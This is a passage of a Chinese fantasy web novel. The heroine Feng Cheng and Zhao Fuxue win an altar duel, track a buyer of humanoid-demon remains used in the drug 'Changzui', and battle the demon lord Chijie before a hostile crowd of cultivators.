络腮胡冷笑着甩了甩身后的流星锤:“即便是‘天’,我们也不会手下留情的,那个小白脸,一起上。” 封澄干脆道:“他不能打——他上不了祭坛,我打完蝎子就来打你,不用急。” 络腮胡:“……” 他脸红脖子粗,气得半晌只憋出一句:“口气颇大!” 而蝎子眯着眼睛扫了扫赵负雪,慢慢道:“哦?说出誓言的人,却不敢上台吗?违背誓言者,魂魄不归天,身体不落地。” 话音落地,封澄的眼中霎时闪过一丝阴鸷。 “听不懂话吗?”她沉声道,“他不是这里的人。” 开玩笑,赵负雪自己找雷劈是个哈哈大笑的小事,要这雷真劈到他身上,封澄头一个急眼。 蝎子笑了:“又死不了,他是你柔弱的小相公么。” 封澄拍桌就要先上去给她两下,赵负雪已走到了她的身边,他扫了一眼那络腮胡,忽然也笑了:“不妨事,我有剑骨护体呢。” 封澄不置可否地看向蝎子,蝎子冲她挑了挑眉,她眉眼一压。 “一对一玩腻了,”封澄道,“二对二如何?” 刹那间,周边霎时爆出一阵哄笑声,好似她方才提出了什么荒谬无比的要求一样,在这哄笑声中,祭坛上的蝎子也笑了。 “这胖子,”明亮的火光在她面上晃动,在她脸上分明的骨骼下投出阴影,“从前是我搭档。” 话已至此,不必多说。搭档之间的配合,绝对是一加一大于二的,这么一看,二人的武器也是互补,一个流星锤,一个重剑,都是以力量为主的兵器,却一个灵活,一个暴戾。 向这样一对搭档提出二对二,无疑是难局,偏生赵负雪上台,必然有天雷轰下,于是难局便一转,成了死局。 络腮胡笑道:“你们二人,修士吧?想靠灵力占便宜?想得美!上了这祭坛,可没有灵力用的,即便是修士,也得老老实实地打架!” 封澄道:“我只问你,二对二,打不打。” 蝎子盯着她,目光中颇有几分兴趣,她笑道:“我没意见。” “好,”封澄踏上祭坛,随即干脆利落地把赵负雪拉了上来,她这怪力几乎无人可比,赵负雪手腕一上祭坛,祭坛上空霎时结了雷云。 他握着见素,封澄微笑道:“赵公子,雷云劈到你之前,解决他们如何?” 众人一听,霎时倒吸一口冷气。 听她的口气,竟然是想在天雷轰下之前,解决这场战斗! 赵负雪闻言,当机立断地上了祭坛,见他动作,周围群众兴奋地哄闹起来——试问谁不想看看这场顶着雷云的殊死搏斗,对面还是叱咤长煌大原的蝎子一伙? 蝎子显然也是听到了封澄方才所言,她脸色不太好看,道:“狂妄自大的中原人。” 顿了顿,她忽然发觉什么不对:“……你兵器在哪!?” 此言远比头顶上的雷云更为轰动,众人这才看到,那男子身上带着一把剑,可那女子,竟然是手无寸铁的! 封澄耸了耸肩膀。 “我的剑杀孽太盛,见了血收不住,为留你一命,还是不动它的好。” 赵负雪轻微地看了她一眼。 他想起那日杀天魔,他刺向天魔心口,封澄拔剑出鞘,抬手便把对方腰斩了。 名字叫长生,却是一把饮血不回头的凶剑吗? 蝎子又惊又怒:“可你怎么能赤手空拳地上来打生死局!” 说话间,封澄微笑:“磨磨唧唧打不打?别说不用剑了,即便我站在这里叫二位打,二位也是碰不到我分毫的。” 蝎子与络腮胡同时脸色一黑。 她咬牙举起重剑道:“既然如此,那我们,一定,不,客,气。” 话音未落,只见一股怪力直直轰向她的下巴,蝎子一惊:什么时候动身的?! 下巴的重击令她霎时有些眼花缭乱,她凝神定气,握住手中重剑,喝道:“脚!” 那边络腮胡早已抡起流星锤,二人电光火石间,竟立即成了围杀的的局面,这默契配合令封澄都是眼前一亮,谁料那男人身后忽然传来一声冷哼,紧接着一剑直击其后心,络腮胡大喝一声,那诡异的流星锤竟然一转,向身后的赵负雪抡去,紧接着,这重剑便接踵而至。 这才是他们的声东击西之计! 封澄大为叹服,蝎子露出志得意满之色,似是胜券在握。 然后在她举起重剑的刹那—— 一道天雷轰然劈下。 封澄笑眯眯地闪到一边,以免电花迸到自己的外裳上:“头顶有雷,就不要把剑举得这么高嘛。” 蝎子焦糊倒地,艰难地咳出一口黑烟,怒砸地道:“你算计我们!” 这天雷,竟然也是她攻击的一环! 方才说要趁第一记天雷轰下之前结束赌局,竟然是为了逼他们冒进! 封澄道:“又死不了了——再说祭坛上赌的可是命,为了命,什么东西不能算计?方才都和你说了,他是外乡人,不可上祭坛,你还非要折腾……啧。” 在众人的目瞪口呆中,她转过脸,笑眯眯地对着络腮胡勾了勾手:“轮到你了。” 第63章 第63章甘之沦亡 事情以络腮 胡颓然跪倒在见素下而告终。 封澄像个志得意满的将军一样,扬起手来接受台下的欢呼和谩骂,下面喊什么的都有,有欢呼她赢得利落的,有痛斥她手段下作的,封澄一概置之不理。 赵负雪站在她身后,静静地看着意气风发的封澄,微微一笑。 “你真是很熟练这套流程。” 他指的是和人跑到台上赌命。 周围的欢呼声太吵,封澄没听清,盈盈火光中,她笑着回过头来,单手支着耳朵道:“你说什么?” 赵负雪凝神看着她。 她的眼底有火光发亮,说不出是被火把映的,还是她生来自有的。 “看着很高兴,”赵负雪心想,“罢了。” 他抬起头,微笑着道:“很好玩,下次是什么时候,一定叫我一起?” 封澄大笑着拍了拍他,还没来得及说话,蝎子与络腮胡便叫住了她,她回过头来,只见众目睽睽下,二人单膝跪下,不甘不愿道:“愿赌服输!” 封澄一时有些沉默,蝎子不耐烦道:“你开口,哪怕要我这颗头,我也割下来给你递上去,磨磨唧唧的算什么。” 倒是豪爽,封澄早就想好了要什么,于是道:“我要的东西很多,现在有些饿了,找个能吃饭的地方,坐下说。” 说罢,她便背着手,溜溜达达地下去了。 蝎子与络腮胡对视一眼,皆从对方的眼中读出了如出一辙的茫然。 经封澄严选,最后四人坐在了一家烤羊的摊子前,她取过菜单来打眼一瞧,便道:“上只烤全羊,再舀些酒来,若有热的麦茶,也取一壶来。” 这般吩咐完了,封澄才拉着赵负雪坐下,伙计动作迅速,飞快地取了茶水来,那二人犹犹豫豫不敢上前,封澄举了举杯子道:“平素里,这东西只该围着烤架吃,不过今日有个京城来的小公子,我们便文雅些,加个桌子——坐。” 听到封澄提及,一旁的赵负雪耳尖一动,随即垂眸,轻轻地端起了茶杯,吹了吹上头的热气。 蝎子与络腮胡对视一眼,心中皆有忐忑,封澄等得奇怪,抬起头疑惑道:“坐啊,又不会吃了你们。” 话中分明没有几分命令语气,蝎子与络腮胡却是精神一抖,下意识地坐了下去。 她说话像将军布下军令,二人不约而同地想。 赵负雪微微地瞥了封澄一眼。 他算是知道了,在洛京古安之地时,此人还能在人前披上个温和娴静的人皮,要是一上长煌大原来,那层披来的人皮就全然无影了。 简直是本相毕露,他瞧着张牙舞爪的封澄,有些哑然失笑。 蝎子咬牙道:“你要我们做什么?” 封澄道:“要做什么也吃了饭再说,谈事情之前吃顿饭,多么正常。” 不待蝎子回答,封澄又笑道:“成了的叫入伙饭,吹了的叫断头饭。” 蝎子:“……” 你流氓啊? 恰好此时全羊已热腾腾地端了上来,香气一时腾腾地就挠到人鼻子里了,蝎子磨着牙,狠狠地盯着封澄,谁知封澄只笑着抬了抬下巴,示意她自便。 这一动作气得她恨不得拔刀砍了她,可这烤羊的香气却又毫不做假,蝎子牙一咬,狠狠地叹了口气,随即开刀,冲着羊腿处剜了一大块焦香流油的腿肉下来。 吃,为什么不吃! 都入伙饭或断头饭了,蝎子一边嚼着口中羊肉,一边想——不光要吃,还要连本带利吃个够,一头羊怎么够?她非要这个中原模样的‘天’狠狠地出个血! 络腮胡看傻了,封澄抬起刀,割了羊后颈的肉,取来放到赵负雪盘中,小声道:“吃这个。” 赵负雪怔了怔,封澄说罢,便放下刀子,抬起眼,盯着一旁傻子一样愣住的络腮胡,道:“怎么,这顿饭不合你胃口?再加点菜?” 加点菜? 络腮胡登时虎躯一震,莫名觉得要是真要加菜了,说不准烤架上便串着一个他了,他登时飞快地动刀割肉,狼吞虎咽地吃了起来,封澄这才满意,她拿起刀子,道:“我已吩咐伙计再烤一只羊羔上来,管够。” 蝎子与络腮胡本不是做着吃饭的打算来的,谁料这羊肉烤得极香,肉又选得好,竟然一刀一刀地吃得停不下来了,几口烈酒下肚,心头不由得松动了些许。 封澄托着腮喝麦茶,笑道:“羊肉好吃吗?” 酒足饭饱,方才的不忿也少了许多。 蝎子别别扭扭道:“勉强能吃。” 话虽这么说着,这两人却没了方才那种恨不得将她杀之而后快的样子了。 封澄点了点头:“好吧,既然如此,我要开始问你们要东西了。” 这一句话,仿佛打着旋儿的冰碴子一样,骤然把两人身上那股酒足饭饱的慵懒吓得飞出了九霄云外。 “你们最近有没有见过,”她沉吟片刻,斟酌着道,“卖香料的商户?” 这句话仿佛是一把大刀扎向了两人,两人登时忙不迭地摆手道:“什么卖香料的商户,见都没见过!根本没见过!” 封澄与赵负雪对视一眼。 “好,”封澄慢慢道,“换句话问,有没有人向诸位收购人形天魔的部件?” 人形天魔,与普通天魔之间,有着天壤之别。 低等天魔多保留兽形,或干脆长得奇形怪状。 人形天魔顾名思义,从外表上看,与人有七八成相似,身上却保有了魔的特征,非常好认。 这东西异常值钱。 骨骼乃神兵之材,血肉乃炼药良物,其造物可值万金。 除去非常难打又非常难寻这一点,几乎可以称之为稀世珍宝。 还有另一点,是封澄十分在意的。 在此世与后世拥有庞大利益链的、令无数人疯狂并为之付出一切的“长醉”,它的原材料,也是经过特殊手法处理过的人形天魔。 封澄微笑道:“——我要的东西是你们的实话。” 二人当即哑住了,良久,蝎子才咬牙道:“……见过香料商。” “在哪里?” 将这消息给出去,与拿起刀子来剜下自己身上一大块肉一样,蝎子登时觉得这口羊肉堵在胸口不上不下,吃得着手是亏了。 沉默,沉默,还是沉默。 封澄挑了挑眉。 蝎子终于下定了决心,怒道: “洛京城到这儿的驿道上——就是我和他打架的那条,他披着兜帽去了西面的来道客栈,订了西边第二间房,要我们交一批‘干货’去,我这里没有人形天魔的库存,要交货,只能抢胖子手里的‘干货’。” 封澄与赵负雪对视一眼,赵负雪道:“与我们是同路,如不出意外,今夜我本打算定那家客栈。” 毫不犹豫地,封澄起身,向着两人道:“这种关口收购‘干货’,八成是搞长醉的,追!” 紧接着拉着赵负雪便飞快地往马车上奔。 看着二人匆匆离去的背影,络腮胡有些傻了,他吐下口中的骨头,愣愣道:“……长醉?” 蝎子磨牙道:“叫你找个没人的地方打,你非要去大街上打,这下可好,谁都不用赚了!” 络腮胡讷讷不语,忽然那伙计吆喝着道:“烤羊羔来咯!” 二人静坐在热气腾腾的烤羊羔前。 ——香气撩人,皮酥肉嫩。 良久,蝎子愣愣道:“等等,她现在就去抓人了?!” *** 紧赶慢赶回去,却是扑了个空。 封澄与赵负雪去西边第二间房时,早已人去房空,徒留一扇空荡荡的窗在空中摇晃,封澄摸了摸揉乱的床铺,当即咬牙道:“刚跑!” 赵负雪皱眉,抬手一记灵视拢住眼睛:“有人形天魔的魔气,、去追,他逃不远。” 封澄点了点头,只一翻窗,疾奔入茫茫夜色中,赵负雪紧随其身后,封澄循着魔气痕迹,细细追索。 这段过程着实有些漫长,追着追着,封澄一边寻魔气,一边很有闲心地同赵负雪闲聊:“赵公子,你觉得长煌大原最可怕的是什么?” 迎着有些冰冷的夜风,赵负雪摇了摇头。 “并不清楚。” 封澄踏过砖瓦,行至两列瓦房的交界之空时,转身一个唿哨,腰间长生便如游鱼般飞到了她的脚下,赵负雪轻笑一声,见素也如法炮制,二人一同御剑,只见夜色中两道极快的剑光划过,一如星尾。 封澄道 :“最可怕的是此地的人形天魔,听我说,如若你不小心碰到,一定立刻就跑,绝对不要回头,这真的是最为可怕的东西。” 赵负雪又笑了:“怎么说。” 少年天才,剑骨天成,平生未曾惧怕过什么东西,岂会有逢敌而落荒而逃之理? 封澄不回答,反而问道:“赵公子听说过人面熊吗?” 赵负雪道:“似有耳闻。” “听说是西面的一种野兽,明明为凶兽,却常常人立起来,以引诱过路之人走近,然后在真容败露之前,将人扑杀入腹。” 封澄点点头:“赵公子说得不错——人形天魔,便是这种东西。” “他以人的形貌出现在你的面前,一应举措,都看不出异类的样子,或许还善解人意,或许还彬彬有礼,久而久之,你便当他是那只人立起来的熊,而放下戒心,向其走近了。” 说话时,封澄目视前方,并不看赵负雪一眼:“它们像画着人皮的鬼一样,当你走近,这皮面便落下,露出的便是无可争议的狰狞鬼相。” 她道:“吞吃入腹,片甲不留,或许还会将你取而代之。” 她说得这番闲谈突如其来,在这追捕途中堪称突兀,口气依旧是那副闲散的、调笑的玩笑口吻,可莫名其妙的,赵负雪觉得她大概是亲眼见过的。 “她从前到底有多辛苦。”赵负雪忍不住想。 第64章 第64章只是一把剑 二人沉默一路。 她的剑飞驰起来,如同风一般,越刮越快…… 人形天魔多为一族天魔的首领,单打独斗之时甚少,故而抓取时也麻烦,叫价更是高昂,能出钱买下‘干货’的人,必然也不是好相与之辈。 魔气最后停留的地方,是一个没有月光的小巷。 “就是这里了,”封澄心想。 二人抬眼望去,果然,一道影子好整以暇地坐在死巷的墙头上。 这个人——不,应该说是魔,背对着光,墨色的长发系着雪白飘带,好似一只瘦削的、披麻戴孝的报丧鸟,此魔并不试图掩饰其魔族特征,相反而之,他把素色的衣袖随意向上挽着,露出了手臂处的青色寒芒。 是鳞片。 一照面,封澄便心中一紧。 “等等,”她轻声道,“人形天魔的魔气……是从他身上散发出来的。” 大魔之间根本不用交手,一个照面就能察觉对方斤两,而封澄只觉得自己手臂一阵一阵地收紧,肌肉几乎开始了痉挛。 眼前的香料商人根本不是利欲熏心的修士,而是一只实打实的,如假包换的人形天魔! 他要‘干货’来做什么的?电光火石间,封澄心中莫名升起一个荒谬的猜测。 他是来收殓同族尸骨的。 人形天魔居高临下地笑笑:“追这么远。” 声音如同极寒冷水,刹那间便将人的神智抽干,封澄心中暗道:“蝎子真是命大,要是能在这东西面前活着出去,我就把头摘下来送她。” 因其自身血肉珍贵的缘故,人形天魔几乎不会把自己置身于人群之中,能大摇大摆出现的,不是自信藏得好的,就是自觉拳头硬的。 封澄自问是属于能藏好的那种人形天魔,而凭着此人藏也不藏的鳞片可以断定,这是个自觉拳头硬的。 而且——封澄在心底默默补充一句,还是非同一般的硬。 她觉得这天魔,搞不好上辈子见过。 赵负雪执剑,雪亮剑光霎时照得巷子里有些惨白,他全神贯注地盯着那天魔,浑身上下皆紧绷——这天魔令他感觉十分不妙。 封澄眯着眼睛道:“我觉得这位公子有些面善,似乎是从前见过。” 她说得从前,自然是上辈子那个从前了。 天魔笑了,声音被面具遮盖,有些闷。 “我也觉得姑娘眼熟,”他慢慢地道,“如果姑娘的同伴把剑收起来,这句久别重逢的寒暄还能更真实一点。” 他一说话,封澄心中的三分怀疑霎时便成了七分肯定。 她轻轻地向后比了个手势,赵负雪低头看去,本以为是个“拔剑”或者“收剑”的意思。 谁料封澄的手指,坚定地比划向着巷子的出口。 这个动作,如果不出意外,意思是,撤。 撤? 封澄微笑道:“自长煌大原的极北之地深入内腹,不知大人远道而来,有何贵干?” 坐于墙上的天魔似乎愣了愣,他闷笑两声,忽然道:“你认得我。” 封澄道:“天下谁人不识君。” 这句话仿佛极大地取悦了这位天魔,他笑道:“好一个天下谁人不识君,可凭这句话,不足以让我放过你。” 赵负雪微微皱眉:“好大的口气。” 封澄一见,便知道此人是半点不打算逃,她微微叹了口气——果然是赵负雪。 天魔的头偏了偏,很有兴趣地看着赵负雪:“是你——赵家大难不死的孩子。” 赵负雪倒是有些意外了,他冷冷地看着他。 天魔一跃从墙上落下,封澄的手指默不作声地压在了掌心,他慢慢地走向赵负雪,视线令人不寒而栗:“你我,倒还真是旧相识。” 赵负雪皱眉道:“你说什么?” 封澄七分确定霎时成了十分确定,几乎瞬间,她的长枪出掌,霎时一记劈枪,落在那天魔的后心。 “他是八方护着的人,你动他,是想要八方从京城杀出来找你算账吗?” 赵负雪的瞳孔微微一颤,在封澄出枪瞬间,见素出鞘,电光火石之间,一枪一剑,便将这天魔钳制在了其中。 按理说,被两位天机师,还是封赵二人这种修为的天机师围击,几乎所有的天魔都可以直接准备伏诛了。 可这只天魔站在二人之中,只缓缓地,举起了两只手。 他笑道:“吓死我了——” 吓死了,可吓死得像在玩笑。 封澄冷冷道:“知道杀不了你——退。” 天魔并不退,他的眼睛盯着赵负雪,封澄觉得那双眼睛里满是兴味:“我杀过你的,你忘了吗?” 赵负雪的眼中寒芒一闪,他寒声道:“你?!” 封澄微微闭了闭眼。 天行十四年,赵氏家主年幼,遇天魔袭杀,成。 此事发,镇国神兽八方震怒不已,弃京而出数千里,置大夏皇族不顾,突杀入天魔深渊,伤天魔之主,力竭回京时,周身浴血,沉睡经年。 动手袭杀赵负雪的天魔并不是旁人。 ——天魔之主,持劫。 听闻这段往事源头甚远,镇国神兽似乎是用了什么逆天法门才将彼时年幼的赵负雪救回来,可天魔之主与赵负雪的血海深仇,可并不会这么过去。 是可忍孰不可忍,挑衅已经跳脸,还有什么可商量的余地?封澄毫不犹豫地震枪,霎时将枪身往前一送,道:“你知道近日洛京盛行长醉么?” 持劫耸肩笑笑:“我只是个送葬的人,对此并不知晓。” 封澄本想顺藤摸瓜钓个鱼,能抓出个说得上话的人形天魔、顺藤摸瓜下去也好,没曾想一竿子便把深海中最为可怖的那条巨蛇钩了起来。 一枪一 剑配合极为默契,封澄去势凶猛,赵负雪无孔不入,一时间竟将持劫击得连连后退。 如此境界了,持劫却极为轻松地笑道:“在洛京倒卖东西的人叫什么——似乎是齐遥?” 封澄心知,齐遥绝不是直截了当地与长醉源头做生意的,就他那点本事和胆量,他往大了算,也就是个马仔。 说话间,枪与剑仿佛闪电,与赤手空拳的持劫连连过了几圈,持劫边打,边笑道:“还活着吧?齐遥——说不定还做着被保出来,然后回家享富贵的美梦。” 封澄的心中登时一空,她震声道:“无辜之人,你敢!” 持劫铿然一声,以鳞片振开了封澄的枪尖:“我知道,你想说赵家已将其护住了,可你赵家十几年前便护不住赵负雪,难道十几年后,就能护住这群人了吗?” 赵负雪的剑尖一转,霎时便以势不可挡之态向持劫而去,持劫略略后退一步,轻笑道:“他们用我同族尸身做香料,就不许我拿他们的亲眷开刀?哪来的道理?” “我的同族,”他的声音极轻,“即便是死,也该死在我手里,即便是尸骨要物尽其用,也该由我亲自动手,何时轮到旁人了?” 二人与死巷两旁而立,少年年轻至极,连筋骨也未长全,目中却点着绝不肯退的寒芒。 天魔之主,是横亘在所有人族头顶上的阴影,单打独斗,没有任何人类是这头大魔的对手。 封澄后知后觉地察觉出来。 她无所畏惧,是因前世便直面过这头大魔,交手间,那点初出茅庐的惧怕早已在血肉战火中不见踪影,而此时十几岁的赵负雪平生未曾遇见过此等敌手,为何还毫不惧怕? 且现在,无论是她还是赵负雪,与持劫的差距都太大了。 赵负雪的眼睛在子夜的漆黑小巷中闪闪发亮,与之同亮的,还是见素雪白的剑光,持劫一记变招,将他振飞出去,同时震断封澄长枪,赵负雪轻巧落地,咬牙擦了擦嘴边鲜血:“你真是个彻头彻尾的疯子。” 封澄:“……” 他剑身一转,继续以殊死之势向持劫攻去,持劫一怔,好似不敢相信这话是从赵负雪口中得出来的,封澄也无奈笑笑,将断枪溶于手中,转而拿起了腰间长生。 巷子狭小,长枪施展不开,打起来也受限。 谁料在长生出鞘的刹那,持劫的手停了。 他静止不动,任由赵负雪的剑刺穿了他的肩膀,封澄感觉得到,他的视线几乎是牢牢地钉死在了剑身上。 这把剑难道还有什么门道?封澄心生奇怪,手却不停,挽了个剑花便向持劫面门攻去,谁料持劫忽然震声道:“你怎么会有这个东西!” 声音中是全然的惊怒,或许还掺杂着些别的情绪,封澄听不出来。 “怪了,只是一把剑,怎么反应这么大?” 上一世,他身体半边没了仍然含笑——快死了都不见他有这么大的反应。 持劫猛地抓住封澄的剑,任凭鲜血从他覆盖着鳞片的掌心层层剥落下来,瞬时烧焦的气味从他掌心爆出,赵负雪心觉不对,剑身一偏便向他要害处去,谁料他周身鳞甲坚硬如铁,见素这种神兵上去,竟然只砰出了一道火光。 封澄将剑往回抽,透过那层乌黑面具,持劫的眼神令她感觉到一股浓浓的不愉快。 持劫抬起眼来,目光中是震怒,或者是疯狂。 “在哪……你在哪儿得的这把剑!” 刹那间,前所未有的魔气席卷了整座城,首当其冲的封赵二人几乎要被这堪称漩涡的魔气卷了进去,浓黑的魔气几乎有了实质。 这玩意真疯了,封澄想。 第65章 第65章此刻退后,可活 电光火石之间,无数灵器的尖叫从城中四角传来,紧接着便有四方剑鸣,层层魔云下,数道灵光向着此地驶来——这是城中的天机师与修士被惊动了。 封澄心知不好——这魔云几乎让人无法呼吸,就连她与赵负雪尚且支撑困难,若有他人莫名进来,定然会被绞成碎末。 一个持劫已经够麻烦了,不能再卷入更多的无辜之人了。 赵负雪在一旁,支着护体灵力,竭力护着他与身后的封澄,见素在层层黑云中一闪一闪,仿佛灵力被极致输入,又被极致输出。 不能支撑太久了,赵负雪正要回头,告诉封澄先逃,谁料头还未回去,身后却又有一股同样悍然的魔气腾然而起。 紧接着,一只狰狞的巨手温和地拍了拍他的肩膀,随后便是有些低沉的熟悉声音。 “起阵,把人挡出去,你也躲远些。” 封澄化魔后的身体覆着鳞甲,看起来颇重,可冲向持劫的速度却比平素更快,堪称骇人,只一瞬间,巨爪便已经狠狠地扼在了持劫的颈上。 周围浓黑的魔气霎时一滞。 封澄冷笑道:“疯完了吗?可以准备去死了吗?” 紧接着,她抓着持劫的脖子,然后狠狠地将她掼在了地上,本就斑驳的石板上霎时被他砸出一个巨坑。 与之相对的,浓浓的魔气慢慢地退了下去。 赵负雪已经能听得到不远处的人声与剑啸,他心知不好——这帮修士一旦卷进来,不但帮不上忙,还会在卷入大魔过招的瞬间,被碾成碎片。 想到这里,他从腰间排出灵符,随即咬血,瞬息成阵,一声去,霎时将众人一同阻在这浓云一般的魔气之外。 持劫被封澄一拳打醒了。 他的目光终于聚焦——说来古怪,即便是他被封澄掼穿石砖,连脸上的骨骼都不一定是全的,可脸上的面具却是牢牢地戴在脸上的。 “……我们,或许是,生死相依的,同类。”他死死地盯着封澄,即便是被掐着脖子,仍然止不住其呛笑之声 在他正上方的、毫无机质的兽瞳淡淡地看着他:“从来不是。” 说话时,巨爪又一用力,死死地捏紧了他的喉咙,持劫的喉咙霎时发出令人肉麻的、硌硌的断裂声。 他的眼睛终于露出了蛇一样的形状。 天魔之主持劫,听闻是魔族中极为低调的温文一派,无人窥见其真容,也从未见其与什么人动手。 他捏着封澄的手,仿佛根本感觉不到窒息一样,轻柔无比地向下掰去。 刹那间,封澄的食指传来了无法忽略的剧痛——他想把她的十指一根根撕下来! 正当此时,偏有一道金光刺来,紧接着作绳索,落在了持劫的腕间,持劫的动作一滞,封澄趁这一滞,飞快地将手从持劫的手中解救出来。 那小小金光猛地被魔气吞没,再不见踪影。 她飞快退至赵负雪身边,低声道:“多谢。” 此时的赵负雪,绝对画不出能钳制住持劫的符,果然,其脸色有些苍白,他仍撑着阵,将魔气牢牢地关在了阵中,见封澄靠近,赵负雪轻笑道:“——你快要和我一样高了。” 不知为何,看着赵负雪苍白的脸,封澄有些想笑。 持劫啧了一声,不耐烦地摸了摸脖子,刹那间,方才的骨折便像从未存在过一样,他盯着封澄,道:“作为同类,你却选择站在对面吗?” 封澄不答,她再度拔出长生。 “这便是你的回答。”持劫森冷地盯着她。 目光像蛇,还是冬眠了许久,闷声不动的、剧毒的初春蛇,封澄心想。 长生好似长在了她的手上一样,仿佛就该是她手上的一块骨骼,封澄甚至觉得用起来比平时都要顺手。 一寸长,一寸强,何况还有赵负雪神出鬼没的阵法,持劫终于啧了一声,他抬起手来,手落在了他的右臂上,随即一动,竟从右臂中抽出了一把长刀。 好一个手里藏刀,封澄记得第一次看见持劫干这事时,还暗自腹诽——他若看谁不顺眼,岂不是握个手便能把人手心扎穿了。 他抖落刀上血水,冷笑:“你现在仍可以站到我这里来。” 回答他的是迎面而来的雪亮剑光。 封澄莫名觉得,持劫对长生似乎有些不一样的情绪,就连接招也有些束手束脚,倒不失为一个利用的法门。 二人短短数息,闪电似的交手无数回合,打眼一看,皆有负伤。 封澄的伤,似乎重一些。 赵负雪一符落来,持劫的腿霎时被束住,封澄见机,飞快攻其下盘,持劫咬牙, 抬刀恰要反击,谁料手腕又是一道符,牵着他竟一时半刻挣扎不开! 方才还一挣即断,现下竟然挣不开了! 短短时间内进益如此想必是不可能,即便是符道天才也不能——眼下只有一个解释,那就是这小子,一开始是装的! 这般生死关头,还有耍心眼下套的空隙! 猝然,他回头,目光如毒针一般扫到赵负雪身上。那少年撑着阵,白衣无风自动,早已脸色苍白,可见到他视线,还是挑了挑眉,露出了个极为挑衅的笑。 被小子涮了的感觉令持劫肝火上涌,他几乎瞬间便暴怒起来,他怒嚎一声,猛地向赵负雪扑去,谁料还未动作,脑后便有劲风袭来:“想上哪儿去?” 刹那间,有一金符流来,这符落在身上时,持劫便觉不妙——定身符!! 此符一出,阵中强撑着的赵负雪唇边溢出一线血迹。 高手过招,瞬息便是致命,若是二人单打独斗,这瞬息的停滞绝对改变不了二人的胜负,可此时此刻,持劫背后还有一个同为大魔的封澄。 瞬息间,长剑穿胸。 封澄微笑道:“轻敌了啊?” 持劫的胸口被长生刺穿,可眼睛竟然亮得惊人,他抚摸着穿透胸腔的雪色长剑,慢慢地将头扭了过来——如同夜枭一般。 封澄莫名起了一身鸡皮疙瘩,当即抽剑,毫不犹豫,抬手便将他的头撕了下来,随着一阵浓浓黑烟滚过,他睁着眼睛的头颅滚在地上,尸体却化作了数只夜枭,从巷子中振翅飞起,落在了封赵二人的四周。 为首那只夜枭巨大无比,他盯着封澄,居高临下道:“你们杀了我一次——这是我第一次被杀。” 没能杀死他,封澄并不意外,天魔之主多少有些保命的底牌。 想到这里,封澄冷笑不已,道: “第二次也是我,不必等太久。” 夜枭好似又被取悦了,他微微笑道:“拭目以待。” 说着,它极狠地剜了赵负雪一眼,好似恨不得将之杀之而后快:“符,奇阴无比,你赵家人,假的吧。” 赵家用剑,为君子剑,用符,为君子符。 而君子,讲坦坦荡荡。 赵负雪这符,露一手,藏一手,还留着阴一手。 脸色苍白的赵负雪却很轻松地照单全收了:“对付小人,岂能以君子之法。” 夜枭登时冷笑一声,他仰起脖子,一声怒号,只听那尸身化作的夜枭齐齐飞起,直直地撞向四周灵力的屏障。 赵负雪几张符越级压制天魔之主,早已近乎透支,此时被这几只化尸的夜枭一撞,阵法登时露出了龟裂的迹象。 封澄心道一声不好,一剑上去斩了夜枭持劫的头颅,持劫化作黑烟不见,一旁夜枭却并未随之消失,反而不惜代价地撞击起来,一击,便陨一只夜枭,再一击,又陨一只,它们不知从何处出现,源源不绝,斩杀不尽。 赵负雪忽然就知道持劫打算做什么了,他转向封澄,急道:“魔气。” 这城中魔气是持劫弄出来的,可封澄将之斩杀后,此地,只有封澄一只魔。 暴露于众修士前的,孤身的,人形天魔。 短时间是无法从魔化人的,上次化魔,多亏是有古安龟祭作掩饰,众人皆以为她用了格外骇人的装扮,且人形天魔多不会去古安这种较深的地方,才不得以露馅。 这摇摇欲坠的阵法岂能承住这自戕似的撞击?登时,赵负雪猛地吐出一口血来,阵摇摇欲坠。 最后一只枭鸟笑道:“外面,有无数人看着。” “人形天魔,不止我一只。” “我还是那句话——你,随时可以站到我的身边。” 霎时,一只枭鸟瞬间化作千万只,齐齐地向阵上扑去,其轰天之势,仿佛乌云盖顶。 随着砰然一声,镇于八方的符咒霎时被一片一片地撕裂。 阵,破。 陡然,拦在众修士之前的大阵如同空中飘絮一般片片碎裂,随之而落的似乎还有几片夜枭的羽毛。 除阵后,魔气之源,清晰无比地指向了一个方向。 不知是谁叫了一句,声音中又惊又喜:“那,那不是,人形天魔吗!?” 霎时间,众修士的目光便分外诡异了起来。 封澄冷冷地抬起头,数着。 “一,二,三……十七,十八,十九。” 总共十九位修士。 是一个可以试着猎杀人形天魔的队伍了。 有人道:“受伤了,看着撑不了多久——先到先得啊!” 说话时,便有人按捺不住地想向下来,封澄皱眉,转头道:“赵公子,先走。” 被一群修士和天机师看到他站在天魔身边,想想就够麻烦了。 谁料赵负雪堪称粗暴地擦了擦面上的血,冷笑一声,站了出来。 他的腰间从来只有天机玉牌和佩剑,可此时此刻,竟从怀中去了一块古黑的牌子出来。 “京城赵氏家主令在此。” 他冷冷道,“此刻退后,可活。” 第66章 第66章哭得我心头疼 洛京赵氏,天机之下,第一世家。 其族镇守洛京,族中修士皆为天机之众,习剑,修阵,为大夏最为锋利的利刃。 少家主赵负雪,身负剑骨,国兽相护。 仿佛被掐住脖子的鸭子一样,周围寂静了。 兴许是因失血过多的缘故,赵负雪的视线已经有些模糊不清了,他举着令牌,喘了几口气,费力地抬头望去,只觉得处处皆是重影,令他分不清究竟有多少人。 多少人?赵负雪心想——十人,百人,千人? “退。”他艰涩道。 可御剑在天的众修士静止不动 ——没有人后退。 众人小心翼翼地、各怀鬼胎地打量着这位过分年轻的少家主,以及他身后身受重伤的天魔。 即便是身负剑骨的少家主,此时也不过一只口吐鲜血的、爪牙未利的幼虎。 此时此刻,一个相同的想法不约而同地浮上了众人心头: “惹不起赵家,赵负雪是杀不得了,可伤成这样的人,放着不管又怎样?难道还能翻出什么浪花?” 身后的封澄已经静静地站了起来。 她将一切都看在了眼底,几乎同时,她便读懂了这群人心中所想。 长煌大原是什么地方,没有人比她更清楚。 因辽阔且荒芜的缘故,此地并没有滋生出温和的文明,相反而之,在频频进犯的天魔中,在与天抢食的争斗中,长煌大原自行长出了弱肉强食的森林法则。 ——赵氏为第一世家又怎样?它的手还能立刻伸到长煌大原来,把人形天魔据为己有吗? 赵负雪已觉得喉咙被血糊住,喘了许久,他艰难地回头看了看封澄。 她的脸上是包裹着半张脸的乌黑鳞片,衣物在与持劫的打斗中撕裂了许多。 少女的桃红外裳下,是狰狞的、布着尖锐鳞甲的躯体。 “能……跑多远。” 她的状态也不好,与持劫的短兵相接令她也受了重伤,封澄轻轻地摇了摇头:“走不脱了,还有人向这里赶——大概是持劫做了手脚,把附近几城的修士统统向这里引。” 现下的脱身之法,除了将这群修士全部杀干净之外,别无他法。 